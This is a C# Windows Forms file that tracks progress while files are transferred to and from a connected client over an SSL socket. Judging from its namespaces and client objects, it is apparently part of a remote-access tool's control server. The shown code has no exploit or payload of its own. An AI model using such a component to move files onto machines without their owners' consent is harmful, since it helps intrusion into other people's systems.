122 lines
4.0 KiB
C#
122 lines
4.0 KiB
C#
using Server.Connection;
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using System;
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using System.Collections.Generic;
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using System.ComponentModel;
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using System.Data;
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using System.Drawing;
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using System.Linq;
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using System.Text;
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using System.Threading.Tasks;
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using System.Windows.Forms;
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using System.Threading;
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using System.IO;
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using System.Net.Sockets;
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using Timer = System.Threading.Timer;
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using Server.Helper;
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using Server.Algorithm;
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namespace Server.Forms
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{
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public partial class FormDownloadFile : Form
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{
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public Form1 F { get; set; }
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internal Clients Client { get; set; }
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public long FileSize = 0;
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private long BytesSent = 0;
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public string FullFileName;
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public string ClientFullFileName;
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private bool IsUpload = false;
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public string DirPath;
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public FormDownloadFile()
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{
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InitializeComponent();
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}
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private void timer1_Tick(object sender, EventArgs e)
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{
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if (!IsUpload)
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{
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labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}";
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if (Client.BytesRecevied >= FileSize)
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{
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labelsize.Text = "Downloaded";
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labelsize.ForeColor = Color.Green;
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timer1.Stop();
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}
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}
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else
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{
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labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}";
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if (BytesSent >= FileSize)
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{
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labelsize.Text = "Uploaded";
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labelsize.ForeColor = Color.Green;
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timer1.Stop();
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}
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}
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}
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private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
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{
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try
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{
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Client?.Disconnected();
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timer1?.Dispose();
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}
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catch { }
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}
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public void Send(object obj)
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{
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lock (Client.SendSync)
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{
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try
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{
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IsUpload = true;
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byte[] msg = (byte[])obj;
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byte[] buffersize = BitConverter.GetBytes(msg.Length);
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Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
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Client.SslClient.Write(buffersize, 0, buffersize.Length);
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if (msg.Length > 1000000) //1mb
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{
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int chunkSize = 50 * 1024;
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byte[] chunk = new byte[chunkSize];
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using (MemoryStream buffereReader = new MemoryStream(msg))
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using (BinaryReader binaryReader = new BinaryReader(buffereReader))
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{
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int bytesToRead = (int)buffereReader.Length;
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do
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{
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chunk = binaryReader.ReadBytes(chunkSize);
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bytesToRead -= chunkSize;
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Client.SslClient.Write(chunk, 0, chunk.Length);
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Client.SslClient.Flush();
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BytesSent += chunk.Length;
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} while (bytesToRead > 0);
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Client?.Disconnected();
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}
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}
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else
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{
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Client.SslClient.Write(msg, 0, msg.Length);
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Client.SslClient.Flush();
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}
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Program.form1.BeginInvoke((MethodInvoker)(() =>
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{
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this.Close();
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}));
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}
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catch
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{
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Client?.Disconnected();
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Program.form1.BeginInvoke((MethodInvoker)(() =>
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{
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labelsize.Text = "Error";
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labelsize.ForeColor = Color.Red;
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}));
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}
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}
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}
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}
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}
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